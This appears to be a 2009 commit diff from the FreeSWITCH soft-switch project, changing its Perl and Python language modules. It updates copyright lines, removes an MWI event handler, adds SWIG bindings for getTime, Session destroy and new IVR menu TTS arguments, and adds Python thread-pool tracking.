  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * mod_perl.c -- Perl
@@ -54,7 +54,6 @@
 	PerlInterpreter *my_perl;
 	switch_memory_pool_t *pool;
 	char *xml_handler;
-	switch_event_node_t *node;
 } globals;
 
 
@@ -140,7 +139,7 @@
 	return error;
 }
 
-#define HACK_CLEAN_CODE "foreach my $kl(keys %main::) {undef($$kl) if (defined($$kl) && ($kl =~ /^\\w+[\\w\\d_]+$/))}"
+#define HACK_CLEAN_CODE "eval{foreach my $kl(keys %main::) {eval{undef($$kl);} if (defined($$kl) && ($kl =~ /^\\w+[\\w\\d_]+$/))}}"
 
 static void destroy_perl(PerlInterpreter ** to_destroy)
 {
@@ -429,26 +428,6 @@
 	return xml;
 }
 
-static void message_query_handler(switch_event_t *event)
-{
-	char *account = switch_event_get_header(event, "message-account");
-	
-	if (account) {
-		char *path, *cmd;
-
-		path = switch_mprintf("%s%smwi.pl", SWITCH_GLOBAL_dirs.script_dir, SWITCH_PATH_SEPARATOR);
-		switch_assert(path != NULL);
-
-		if (switch_file_exists(path, NULL) == SWITCH_STATUS_SUCCESS) {
-			cmd = switch_mprintf("%s %s", path, account);
-			switch_assert(cmd != NULL);
-			perl_thread(cmd);
-			switch_safe_free(cmd);
-		}
-		switch_safe_free(path);
-	}
-}
-
 static switch_status_t do_config(void)
 {
 	char *cf = "perl.conf";
@@ -493,12 +472,6 @@
 
 	globals.pool = pool;
 
-	if (switch_event_bind_removable(modname, SWITCH_EVENT_MESSAGE_QUERY, SWITCH_EVENT_SUBCLASS_ANY, message_query_handler, NULL, &globals.node)
-		!= SWITCH_STATUS_SUCCESS) {
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind!\n");
-		return SWITCH_STATUS_GENERR;
-	}
-
 	if (!(my_perl = perl_alloc())) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Could not allocate perl interpreter\n");
 		return SWITCH_STATUS_MEMERR;

Modified: freeswitch/branches/seven/src/mod/languages/mod_perl/mod_perl_wrap.cpp (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_perl/mod_perl_wrap.cpp	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_perl/mod_perl_wrap.cpp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1990,12 +1990,14 @@
     char *arg6 = (char *) 0 ;
     char *arg7 = (char *) 0 ;
     char *arg8 = (char *) 0 ;
-    int arg9 ;
-    int arg10 ;
+    char *arg9 = (char *) 0 ;
+    char *arg10 = (char *) 0 ;
     int arg11 ;
     int arg12 ;
     int arg13 ;
     int arg14 ;
+    int arg15 ;
+    int arg16 ;
     IVRMenu *result = 0 ;
     void *argp1 = 0 ;
     int res1 = 0 ;
@@ -2020,10 +2022,12 @@
     int res8 ;
     char *buf8 = 0 ;
     int alloc8 = 0 ;
-    int val9 ;
-    int ecode9 = 0 ;
-    int val10 ;
-    int ecode10 = 0 ;
+    int res9 ;
+    char *buf9 = 0 ;
+    int alloc9 = 0 ;
+    int res10 ;
+    char *buf10 = 0 ;
+    int alloc10 = 0 ;
     int val11 ;
     int ecode11 = 0 ;
     int val12 ;
@@ -2032,11 +2036,15 @@
     int ecode13 = 0 ;
     int val14 ;
     int ecode14 = 0 ;
+    int val15 ;
+    int ecode15 = 0 ;
+    int val16 ;
+    int ecode16 = 0 ;
     int argvi = 0;
     dXSARGS;
     
-    if ((items < 14) || (items > 14)) {
-      SWIG_croak("Usage: new_IVRMenu(main,name,greeting_sound,short_greeting_sound,invalid_sound,exit_sound,confirm_macro,confirm_key,confirm_attempts,inter_timeout,digit_len,timeout,max_failures,max_timeouts);");
+    if ((items < 16) || (items > 16)) {
+      SWIG_croak("Usage: new_IVRMenu(main,name,greeting_sound,short_greeting_sound,invalid_sound,exit_sound,confirm_macro,confirm_key,tts_engine,tts_voice,confirm_attempts,inter_timeout,digit_len,timeout,max_failures,max_timeouts);");
     }
     res1 = SWIG_ConvertPtr(ST(0), &argp1,SWIGTYPE_p_IVRMenu, 0 |  0 );
     if (!SWIG_IsOK(res1)) {
@@ -2078,16 +2086,16 @@
       SWIG_exception_fail(SWIG_ArgError(res8), "in method '" "new_IVRMenu" "', argument " "8"" of type '" "char const *""'");
     }
     arg8 = reinterpret_cast< char * >(buf8);
-    ecode9 = SWIG_AsVal_int SWIG_PERL_CALL_ARGS_2(ST(8), &val9);
-    if (!SWIG_IsOK(ecode9)) {
-      SWIG_exception_fail(SWIG_ArgError(ecode9), "in method '" "new_IVRMenu" "', argument " "9"" of type '" "int""'");
-    } 
-    arg9 = static_cast< int >(val9);
-    ecode10 = SWIG_AsVal_int SWIG_PERL_CALL_ARGS_2(ST(9), &val10);
-    if (!SWIG_IsOK(ecode10)) {
-      SWIG_exception_fail(SWIG_ArgError(ecode10), "in method '" "new_IVRMenu" "', argument " "10"" of type '" "int""'");
-    } 
-    arg10 = static_cast< int >(val10);
+    res9 = SWIG_AsCharPtrAndSize(ST(8), &buf9, NULL, &alloc9);
+    if (!SWIG_IsOK(res9)) {
+      SWIG_exception_fail(SWIG_ArgError(res9), "in method '" "new_IVRMenu" "', argument " "9"" of type '" "char const *""'");
+    }
+    arg9 = reinterpret_cast< char * >(buf9);
+    res10 = SWIG_AsCharPtrAndSize(ST(9), &buf10, NULL, &alloc10);
+    if (!SWIG_IsOK(res10)) {
+      SWIG_exception_fail(SWIG_ArgError(res10), "in method '" "new_IVRMenu" "', argument " "10"" of type '" "char const *""'");
+    }
+    arg10 = reinterpret_cast< char * >(buf10);
     ecode11 = SWIG_AsVal_int SWIG_PERL_CALL_ARGS_2(ST(10), &val11);
     if (!SWIG_IsOK(ecode11)) {
       SWIG_exception_fail(SWIG_ArgError(ecode11), "in method '" "new_IVRMenu" "', argument " "11"" of type '" "int""'");
@@ -2108,7 +2116,17 @@
       SWIG_exception_fail(SWIG_ArgError(ecode14), "in method '" "new_IVRMenu" "', argument " "14"" of type '" "int""'");
     } 
     arg14 = static_cast< int >(val14);
-    result = (IVRMenu *)new IVRMenu(arg1,(char const *)arg2,(char const *)arg3,(char const *)arg4,(char const *)arg5,(char const *)arg6,(char const *)arg7,(char const *)arg8,arg9,arg10,arg11,arg12,arg13,arg14);
+    ecode15 = SWIG_AsVal_int SWIG_PERL_CALL_ARGS_2(ST(14), &val15);
+    if (!SWIG_IsOK(ecode15)) {
+      SWIG_exception_fail(SWIG_ArgError(ecode15), "in method '" "new_IVRMenu" "', argument " "15"" of type '" "int""'");
+    } 
+    arg15 = static_cast< int >(val15);
+    ecode16 = SWIG_AsVal_int SWIG_PERL_CALL_ARGS_2(ST(15), &val16);
+    if (!SWIG_IsOK(ecode16)) {
+      SWIG_exception_fail(SWIG_ArgError(ecode16), "in method '" "new_IVRMenu" "', argument " "16"" of type '" "int""'");
+    } 
+    arg16 = static_cast< int >(val16);
+    result = (IVRMenu *)new IVRMenu(arg1,(char const *)arg2,(char const *)arg3,(char const *)arg4,(char const *)arg5,(char const *)arg6,(char const *)arg7,(char const *)arg8,(char const *)arg9,(char const *)arg10,arg11,arg12,arg13,arg14,arg15,arg16);
     ST(argvi) = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_IVRMenu, SWIG_OWNER | SWIG_SHADOW); argvi++ ;
     
     if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
@@ -2118,6 +2136,8 @@
     if (alloc6 == SWIG_NEWOBJ) delete[] buf6;
     if (alloc7 == SWIG_NEWOBJ) delete[] buf7;
     if (alloc8 == SWIG_NEWOBJ) delete[] buf8;
+    if (alloc9 == SWIG_NEWOBJ) delete[] buf9;
+    if (alloc10 == SWIG_NEWOBJ) delete[] buf10;
     
     
     
@@ -2134,6 +2154,8 @@
     if (alloc6 == SWIG_NEWOBJ) delete[] buf6;
     if (alloc7 == SWIG_NEWOBJ) delete[] buf7;
     if (alloc8 == SWIG_NEWOBJ) delete[] buf8;
+    if (alloc9 == SWIG_NEWOBJ) delete[] buf9;
+    if (alloc10 == SWIG_NEWOBJ) delete[] buf10;
     
     
     
@@ -2416,6 +2438,34 @@
 }
 
 
+XS(_wrap_API_getTime) {
+  {
+    API *arg1 = (API *) 0 ;
+    char *result = 0 ;
+    void *argp1 = 0 ;
+    int res1 = 0 ;
+    int argvi = 0;
+    dXSARGS;
+    
+    if ((items < 1) || (items > 1)) {
+      SWIG_croak("Usage: API_getTime(self);");
+    }
+    res1 = SWIG_ConvertPtr(ST(0), &argp1,SWIGTYPE_p_API, 0 |  0 );
+    if (!SWIG_IsOK(res1)) {
+      SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "API_getTime" "', argument " "1"" of type '" "API *""'"); 
+    }
+    arg1 = reinterpret_cast< API * >(argp1);
+    result = (char *)(arg1)->getTime();
+    ST(argvi) = SWIG_FromCharPtr((const char *)result); argvi++ ;
+    
+    XSRETURN(argvi);
+  fail:
+    
+    SWIG_croak_null();
+  }
+}
+
+
 XS(_wrap_input_callback_state_t_function_set) {
   {
     input_callback_state_t *arg1 = (input_callback_state_t *) 0 ;
@@ -4851,7 +4901,7 @@
     } 
     arg2 = static_cast< int >(val2);
     result = (Event *)(arg1)->pop(arg2);
-    ST(argvi) = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_Event, 0 | SWIG_SHADOW); argvi++ ;
+    ST(argvi) = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_Event, SWIG_OWNER | SWIG_SHADOW); argvi++ ;
     
     
     XSRETURN(argvi);
@@ -4881,7 +4931,7 @@
     }
     arg1 = reinterpret_cast< EventConsumer * >(argp1);
     result = (Event *)(arg1)->pop();
-    ST(argvi) = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_Event, 0 | SWIG_SHADOW); argvi++ ;
+    ST(argvi) = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_Event, SWIG_OWNER | SWIG_SHADOW); argvi++ ;
     
     XSRETURN(argvi);
   fail:
@@ -8937,15 +8987,15 @@
     arg1 = reinterpret_cast< CoreSession * >(argp1);
     res2 = SWIG_AsCharPtrAndSize(ST(1), &buf2, NULL, &alloc2);
     if (!SWIG_IsOK(res2)) {
-      SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "CoreSession_execute" "', argument " "2"" of type '" "char *""'");
+      SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "CoreSession_execute" "', argument " "2"" of type '" "char const *""'");
     }
     arg2 = reinterpret_cast< char * >(buf2);
     res3 = SWIG_AsCharPtrAndSize(ST(2), &buf3, NULL, &alloc3);
     if (!SWIG_IsOK(res3)) {
-      SWIG_exception_fail(SWIG_ArgError(res3), "in method '" "CoreSession_execute" "', argument " "3"" of type '" "char *""'");
+      SWIG_exception_fail(SWIG_ArgError(res3), "in method '" "CoreSession_execute" "', argument " "3"" of type '" "char const *""'");
     }
     arg3 = reinterpret_cast< char * >(buf3);
-    (arg1)->execute(arg2,arg3);
+    (arg1)->execute((char const *)arg2,(char const *)arg3);
     
     
     if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
@@ -8982,10 +9032,10 @@
     arg1 = reinterpret_cast< CoreSession * >(argp1);
     res2 = SWIG_AsCharPtrAndSize(ST(1), &buf2, NULL, &alloc2);
     if (!SWIG_IsOK(res2)) {
-      SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "CoreSession_execute" "', argument " "2"" of type '" "char *""'");
+      SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "CoreSession_execute" "', argument " "2"" of type '" "char const *""'");
     }
     arg2 = reinterpret_cast< char * >(buf2);
-    (arg1)->execute(arg2);
+    (arg1)->execute((char const *)arg2);
     
     
     if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
@@ -9892,6 +9942,33 @@
 }
 
 
+XS(_wrap_Session_destroy) {
+  {
+    PERL::Session *arg1 = (PERL::Session *) 0 ;
+    void *argp1 = 0 ;
+    int res1 = 0 ;
+    int argvi = 0;
+    dXSARGS;
+    
+    if ((items < 1) || (items > 1)) {
+      SWIG_croak("Usage: Session_destroy(self);");
+    }
+    res1 = SWIG_ConvertPtr(ST(0), &argp1,SWIGTYPE_p_PERL__Session, 0 |  0 );
+    if (!SWIG_IsOK(res1)) {
+      SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "Session_destroy" "', argument " "1"" of type '" "PERL::Session *""'"); 
+    }
+    arg1 = reinterpret_cast< PERL::Session * >(argp1);
+    (arg1)->destroy();
+    
+    
+    XSRETURN(argvi);
+  fail:
+    
+    SWIG_croak_null();
+  }
+}
+
+
 XS(_wrap_Session_begin_allow_threads) {
   {
     PERL::Session *arg1 = (PERL::Session *) 0 ;
@@ -11045,6 +11122,7 @@
 {"freeswitchc::delete_API", _wrap_delete_API},
 {"freeswitchc::API_execute", _wrap_API_execute},
 {"freeswitchc::API_executeString", _wrap_API_executeString},
+{"freeswitchc::API_getTime", _wrap_API_getTime},
 {"freeswitchc::input_callback_state_t_function_set", _wrap_input_callback_state_t_function_set},
 {"freeswitchc::input_callback_state_t_function_get", _wrap_input_callback_state_t_function_get},
 {"freeswitchc::input_callback_state_t_threadState_set", _wrap_input_callback_state_t_threadState_set},
@@ -11166,6 +11244,7 @@
 {"freeswitchc::dtmf_callback", _wrap_dtmf_callback},
 {"freeswitchc::new_Session", _wrap_new_Session},
 {"freeswitchc::delete_Session", _wrap_delete_Session},
+{"freeswitchc::Session_destroy", _wrap_Session_destroy},
 {"freeswitchc::Session_begin_allow_threads", _wrap_Session_begin_allow_threads},
 {"freeswitchc::Session_end_allow_threads", _wrap_Session_end_allow_threads},
 {"freeswitchc::Session_check_hangup_hook", _wrap_Session_check_hangup_hook},
@@ -11483,17 +11562,17 @@
   SWIG_TypeClientData(SWIGTYPE_p_IVRMenu, (void*) "freeswitch::IVRMenu");
   SWIG_TypeClientData(SWIGTYPE_p_API, (void*) "freeswitch::API");
   SWIG_TypeClientData(SWIGTYPE_p_input_callback_state, (void*) "freeswitch::input_callback_state_t");
-  /*@SWIG:/usr/local/share/swig/1.3.35/perl5/perltypemaps.swg,64,%set_constant@*/ do {
+  /*@SWIG:/usr/share/swig/1.3.35/perl5/perltypemaps.swg,64,%set_constant@*/ do {
     SV *sv = get_sv((char*) SWIG_prefix "S_HUP", TRUE | 0x2 | GV_ADDMULTI);
     sv_setsv(sv, SWIG_From_int  SWIG_PERL_CALL_ARGS_1(static_cast< int >(S_HUP)));
     SvREADONLY_on(sv);
   } while(0) /*@SWIG@*/;
-  /*@SWIG:/usr/local/share/swig/1.3.35/perl5/perltypemaps.swg,64,%set_constant@*/ do {
+  /*@SWIG:/usr/share/swig/1.3.35/perl5/perltypemaps.swg,64,%set_constant@*/ do {
     SV *sv = get_sv((char*) SWIG_prefix "S_FREE", TRUE | 0x2 | GV_ADDMULTI);
     sv_setsv(sv, SWIG_From_int  SWIG_PERL_CALL_ARGS_1(static_cast< int >(S_FREE)));
     SvREADONLY_on(sv);
   } while(0) /*@SWIG@*/;
-  /*@SWIG:/usr/local/share/swig/1.3.35/perl5/perltypemaps.swg,64,%set_constant@*/ do {
+  /*@SWIG:/usr/share/swig/1.3.35/perl5/perltypemaps.swg,64,%set_constant@*/ do {
     SV *sv = get_sv((char*) SWIG_prefix "S_RDLOCK", TRUE | 0x2 | GV_ADDMULTI);
     sv_setsv(sv, SWIG_From_int  SWIG_PERL_CALL_ARGS_1(static_cast< int >(S_RDLOCK)));
     SvREADONLY_on(sv);

Modified: freeswitch/branches/seven/src/mod/languages/mod_python/Makefile.in (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_python/Makefile.in	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_python/Makefile.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -11,7 +11,7 @@
 LINK=$(CXXLINK)
 
 PYMOD=freeswitch
-PYTHON_SITE_DIR=/usr/lib/python2.4/site-packages
+PYTHON_SITE_DIR=@PYTHON_SITE_DIR@
 
 SWIGCFILE=../../../switch_swig.c
 SWIGIFILE=../../../switch_swig.i

Modified: freeswitch/branches/seven/src/mod/languages/mod_python/freeswitch.py (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_python/freeswitch.py	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_python/freeswitch.py	2009-08-09 18:53:22 UTC (rev 14472)
@@ -81,6 +81,7 @@
     __del__ = lambda self : None;
     def execute(*args): return _freeswitch.API_execute(*args)
     def executeString(*args): return _freeswitch.API_executeString(*args)
+    def getTime(*args): return _freeswitch.API_getTime(*args)
 API_swigregister = _freeswitch.API_swigregister
 API_swigregister(API)
 
@@ -323,6 +324,7 @@
     def begin_allow_threads(*args): return _freeswitch.Session_begin_allow_threads(*args)
     def end_allow_threads(*args): return _freeswitch.Session_end_allow_threads(*args)
     def check_hangup_hook(*args): return _freeswitch.Session_check_hangup_hook(*args)
+    def destroy(*args): return _freeswitch.Session_destroy(*args)
     def run_dtmf_callback(*args): return _freeswitch.Session_run_dtmf_callback(*args)
     def setInputCallback(*args): return _freeswitch.Session_setInputCallback(*args)
     def unsetInputCallback(*args): return _freeswitch.Session_unsetInputCallback(*args)

Modified: freeswitch/branches/seven/src/mod/languages/mod_python/freeswitch_python.cpp (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_python/freeswitch_python.cpp	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_python/freeswitch_python.cpp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -21,16 +21,25 @@
 }
 static switch_status_t python_hanguphook(switch_core_session_t *session_hungup);
 
-Session::~Session()
+void Session::destroy(void)
 {
 	
+	if (!allocated) {
+		return;
+	}
+
+	if (session) {
+		if (!channel) {
+			channel = switch_core_session_get_channel(session);
+		}
+		switch_channel_set_private(channel, "CoreSession", NULL);
+		switch_core_event_hook_remove_state_change(session, python_hanguphook);
+	}
+
 	if (hangup_func) {
-		if (session) {
-			switch_core_event_hook_remove_state_change(session, python_hanguphook);
-		}
 		Py_DECREF(hangup_func);
-		hangup_func = NULL;
-	}
+        hangup_func = NULL;
+    }
 	
 	if (hangup_func_arg) {
 		Py_DECREF(hangup_func_arg);
@@ -49,9 +58,16 @@
 
 	if (Self) {
 		Py_DECREF(Self);
-	}
+	}	
+
+	CoreSession::destroy();
 }
 
+Session::~Session()
+{
+	destroy();
+}
+
 bool Session::begin_allow_threads()
 {
 

Modified: freeswitch/branches/seven/src/mod/languages/mod_python/freeswitch_python.h (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_python/freeswitch_python.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_python/freeswitch_python.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -27,6 +27,7 @@
 	virtual bool begin_allow_threads();
 	virtual bool end_allow_threads();
 	virtual void check_hangup_hook();
+	virtual void destroy(void);
 
 	virtual switch_status_t run_dtmf_callback(void *input, switch_input_type_t itype);
 	void setInputCallback(PyObject *cbfunc, PyObject *funcargs = NULL);

Modified: freeswitch/branches/seven/src/mod/languages/mod_python/hack.diff (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_python/hack.diff	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_python/hack.diff	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,26 @@
---- mod_python_wrap.cpp	2008-07-16 17:05:18.000000000 -0400
-+++ old.cpp	2008-07-16 17:05:07.000000000 -0400
-@@ -8621,20 +8621,20 @@
+--- mod_python_wrap.cpp.orig	2009-03-21 11:37:16.000000000 +0100
++++ mod_python_wrap.cpp	2009-03-21 11:33:18.000000000 +0100
+@@ -5469,7 +5469,9 @@
+     SWIG_exception_fail(SWIG_ArgError(ecode2), "in method '" "EventConsumer_pop" "', argument " "2"" of type '" "int""'");
+   } 
+   arg2 = static_cast< int >(val2);
++  Py_BEGIN_ALLOW_THREADS;
+   result = (Event *)(arg1)->pop(arg2);
++  Py_END_ALLOW_THREADS;
+   resultobj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_Event, 0 |  0 );
+   return resultobj;
+ fail:
+@@ -5491,7 +5493,9 @@
+     SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "EventConsumer_pop" "', argument " "1"" of type '" "EventConsumer *""'"); 
+   }
+   arg1 = reinterpret_cast< EventConsumer * >(argp1);
++  Py_BEGIN_ALLOW_THREADS;
+   result = (Event *)(arg1)->pop();
++  Py_END_ALLOW_THREADS;
+   resultobj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_Event, 0 |  0 );
+   return resultobj;
+ fail:
+@@ -9206,20 +9210,20 @@
  }
  
  
@@ -24,7 +44,7 @@
    PyObject *resultobj = 0;
    char *arg1 = (char *) 0 ;
    CoreSession *arg2 = (CoreSession *) 0 ;
-@@ -8659,7 +8659,7 @@
+@@ -9244,7 +9248,7 @@
    }
    arg2 = reinterpret_cast< CoreSession * >(argp2);
    result = (PYTHON::Session *)new PYTHON::Session(arg1,arg2);
@@ -33,7 +53,7 @@
    if (alloc1 == SWIG_NEWOBJ) delete[] buf1;
    return resultobj;
  fail:
-@@ -8668,7 +8668,7 @@
+@@ -9253,7 +9257,7 @@
  }
  
  
@@ -42,7 +62,7 @@
    PyObject *resultobj = 0;
    char *arg1 = (char *) 0 ;
    PYTHON::Session *result = 0 ;
-@@ -8684,7 +8684,7 @@
+@@ -9269,7 +9273,7 @@
    }
    arg1 = reinterpret_cast< char * >(buf1);
    result = (PYTHON::Session *)new PYTHON::Session(arg1);
@@ -51,7 +71,7 @@
    if (alloc1 == SWIG_NEWOBJ) delete[] buf1;
    return resultobj;
  fail:
-@@ -8693,7 +8693,7 @@
+@@ -9278,7 +9282,7 @@
  }
  
  
@@ -60,7 +80,7 @@
    PyObject *resultobj = 0;
    switch_core_session_t *arg1 = (switch_core_session_t *) 0 ;
    PYTHON::Session *result = 0 ;
-@@ -8708,7 +8708,7 @@
+@@ -9293,7 +9297,7 @@
    }
    arg1 = reinterpret_cast< switch_core_session_t * >(argp1);
    result = (PYTHON::Session *)new PYTHON::Session(arg1);

Modified: freeswitch/branches/seven/src/mod/languages/mod_python/mod_python.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_python/mod_python.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_python/mod_python.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,7 +17,7 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
@@ -52,15 +52,24 @@
 
 SWITCH_MODULE_LOAD_FUNCTION(mod_python_load);
 SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_python_shutdown);
-SWITCH_MODULE_DEFINITION(mod_python, mod_python_load, mod_python_shutdown, NULL);
+SWITCH_MODULE_DEFINITION_EX(mod_python, mod_python_load, mod_python_shutdown, NULL, SMODF_GLOBAL_SYMBOLS);
 
 static struct {
 	switch_memory_pool_t *pool;
 	char *xml_handler;
-	switch_event_node_t *node;
 } globals;
 
-static void eval_some_python(const char *funcname, char *args, switch_core_session_t *session, switch_stream_handle_t *stream, switch_event_t *params, char **str)
+struct switch_py_thread {
+	struct switch_py_thread *prev, *next; 
+	char *cmd;
+	char *args;
+	switch_memory_pool_t *pool;
+	PyThreadState *tstate;
+};
+struct switch_py_thread *thread_pool_head = NULL;
+static switch_mutex_t *THREAD_POOL_LOCK = NULL;
+
+static void eval_some_python(const char *funcname, char *args, switch_core_session_t *session, switch_stream_handle_t *stream, switch_event_t *params, char **str, struct switch_py_thread *pt)
 {
 	PyThreadState *tstate = NULL;
 	char *dupargs = NULL;
@@ -111,6 +120,11 @@
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "error acquiring tstate\n");
 		goto done;
 	}
+	
+	/* Save state in thread struct so we can terminate it later if needed */
+	if (pt)
+		pt->tstate = tstate;
+
 	// swap in thread state
 	PyEval_AcquireThread(tstate);
 	init_freeswitch();
@@ -179,7 +193,8 @@
 		if (str) {
 			*str = strdup((char *) PyString_AsString(result));
 		}
-	} else {
+	} else if (!PyErr_ExceptionMatches(PyExc_SystemExit)) {
+		// Print error, but ignore SystemExit 
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error calling python script\n");
 		PyErr_Print();
 		PyErr_Clear();
@@ -225,7 +240,7 @@
 
 		switch_assert(mycmd);
 
-		eval_some_python("xml_fetch", mycmd, NULL, NULL, params, &str);
+		eval_some_python("xml_fetch", mycmd, NULL, NULL, params, &str, NULL);
 
 		if (str) {
 			if (switch_strlen_zero(str)) {
@@ -279,22 +294,37 @@
 
 SWITCH_STANDARD_APP(python_function)
 {
-	eval_some_python("handler", (char *) data, session, NULL, NULL, NULL);
+	eval_some_python("handler", (char *) data, session, NULL, NULL, NULL, NULL);
 
 }
 
-struct switch_py_thread {
-	char *args;
-	switch_memory_pool_t *pool;
-};
-
 static void *SWITCH_THREAD_FUNC py_thread_run(switch_thread_t *thread, void *obj)
 {
 	switch_memory_pool_t *pool;
 	struct switch_py_thread *pt = (struct switch_py_thread *) obj;
 
-	eval_some_python("runtime", pt->args, NULL, NULL, NULL, NULL);
+	/* Put thread in pool so we keep track of our threads */
+	switch_mutex_lock(THREAD_POOL_LOCK);
+	pt->next = thread_pool_head;
+	pt->prev = NULL;
+	if (pt->next)
+		pt->next->prev = pt;
+	thread_pool_head = pt;
+	switch_mutex_unlock(THREAD_POOL_LOCK);
 
+	/* Run the python script */
+	eval_some_python("runtime", pt->args, NULL, NULL, NULL, NULL, pt);
+
+	/* Thread is dead, remove from pool */
+	switch_mutex_lock(THREAD_POOL_LOCK);
+	if (pt->next)
+		pt->next->prev = pt->prev;
+	if (pt->prev)
+		pt->prev->next = pt->next;
+	if (thread_pool_head == pt)
+		thread_pool_head = pt->next;
+	switch_mutex_unlock(THREAD_POOL_LOCK);
+
 	pool = pt->pool;
 	switch_core_destroy_memory_pool(&pool);
 
@@ -304,7 +334,7 @@
 SWITCH_STANDARD_API(api_python)
 {
 	
-	eval_some_python("fsapi", (char *) cmd, session, stream, NULL, NULL);
+	eval_some_python("fsapi", (char *) cmd, session, stream, NULL, NULL, NULL);
 
 	return SWITCH_STATUS_SUCCESS;
 }
@@ -333,26 +363,6 @@
 	return 0;
 }
 
-static void message_query_handler(switch_event_t *event)
-{
-	char *account = switch_event_get_header(event, "message-account");
-
-	if (account) {
-		char *path, *cmd;
-		
-		path = switch_mprintf("%s%smwi.py", SWITCH_GLOBAL_dirs.script_dir, SWITCH_PATH_SEPARATOR);
-		switch_assert(path != NULL);
-		
-		if (switch_file_exists(path, NULL) == SWITCH_STATUS_SUCCESS) {
-			cmd = switch_mprintf("%s %s", path, account);
-			switch_assert(cmd != NULL);
-			py_thread(cmd);
-			switch_safe_free(cmd);
-		}
-		switch_safe_free(path);
-	}
-}
-
 SWITCH_STANDARD_API(launch_python)
 {
 
@@ -372,12 +382,6 @@
 	switch_application_interface_t *app_interface;
 	char *pp = getenv("PYTHONPATH");
 
-	if (switch_event_bind_removable(modname, SWITCH_EVENT_MESSAGE_QUERY, SWITCH_EVENT_SUBCLASS_ANY, message_query_handler, NULL, &globals.node)
-		!= SWITCH_STATUS_SUCCESS) {
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind!\n");
-		return SWITCH_STATUS_GENERR;
-	}
-
 	if (pp) {
 		char *path = switch_mprintf("%s:%s", pp, SWITCH_GLOBAL_dirs.script_dir);
 		setenv("PYTHONPATH", path, 1);
@@ -389,7 +393,6 @@
 	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Python Framework Loading...\n");
 
 	globals.pool = pool;
-	do_config();
 
 	if (!Py_IsInitialized()) {
 
@@ -411,7 +414,10 @@
 		PyEval_ReleaseLock();
 	}
 
+	switch_mutex_init(&THREAD_POOL_LOCK, SWITCH_MUTEX_NESTED, pool);
 
+	do_config();
+
 	/* connect my internal structure to the blank pointer passed to me */
 	*module_interface = switch_loadable_module_create_module_interface(pool, modname);
